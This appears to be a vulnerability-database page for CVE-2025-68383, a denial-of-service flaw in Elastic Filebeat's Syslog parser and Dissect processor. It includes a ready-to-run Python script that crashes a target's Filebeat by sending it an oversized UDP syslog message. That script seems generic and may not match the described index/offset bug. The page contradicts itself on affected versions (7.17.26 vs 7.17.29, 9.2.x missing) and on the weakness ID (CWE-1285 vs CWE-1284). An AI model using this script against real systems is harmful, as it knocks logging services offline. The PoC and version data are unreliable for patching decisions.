Security Vulnerability Report
中文
CVE-2025-68383 CVSS 6.5 MEDIUM

CVE-2025-68383

Published: 2025-12-18 22:16:02
Last Modified: 2025-12-23 17:59:27

Description

Improper Validation of Specified Index, Position, or Offset in Input (CWE-1285) in Filebeat Syslog parser and the Libbeat Dissect processor can allow a user to trigger a Buffer Overflow (CAPEC-100) and cause a denial of service (panic/crash) of the Filebeat process via either a malformed Syslog message or a malicious tokenizer pattern in the Dissect configuration.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:* - VULNERABLE
Filebeat 8.x < 8.19.9
Filebeat 9.x < 9.1.9
Filebeat 7.x < 7.17.26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-68383 PoC - Malformed Syslog Message # This PoC demonstrates sending a malformed Syslog message to trigger Buffer Overflow in Filebeat import socket import struct import sys def send_malformed_syslog(target_ip, target_port=514): """ Send a malformed Syslog message to trigger the vulnerability. The message contains an oversized field that causes buffer overflow in Filebeat Syslog parser. """ # Construct malformed Syslog message with oversized fields # This pattern exploits improper validation of specified index/offset malformed_message = ( b'<134>' + # Syslog priority b'1' * 10000 + # Oversized timestamp field b' ' + b'X' * 10000 + # Oversized hostname field b' ' + b'Y' * 10000 + # Oversized tag field b':' + b'Z' * 10000 + # Oversized message body b'\n' ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(malformed_message, (target_ip, target_port)) sock.close() print(f'[+] Malformed Syslog message sent to {target_ip}:{target_port}') print(f'[+] Message length: {len(malformed_message)} bytes') return True except Exception as e: print(f'[-] Error sending message: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 514 send_malformed_syslog(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68383", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:02.387", "lastModified": "2025-12-23T17:59:26.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Specified Index, Position, or Offset in Input (CWE-1285) in Filebeat Syslog parser and the Libbeat Dissect processor can allow a user to trigger a Buffer Overflow (CAPEC-100) and cause a denial of service (panic/crash) of the Filebeat process via either a malformed Syslog message or a malicious tokenizer pattern in the Dissect configuration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "5523AEF7-039A-4A52-B6C8-9435D4B820EA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "BD5813C6-7671-4C8F-9C1D-321ACC50ACFD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "5CC85BA6-B896-4B0D-8BF9-E7B3BE778BBB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:filebeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "36797C31-E939-4BEF-9607-7602869A0AD1"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/filebeat-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-32/384180", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}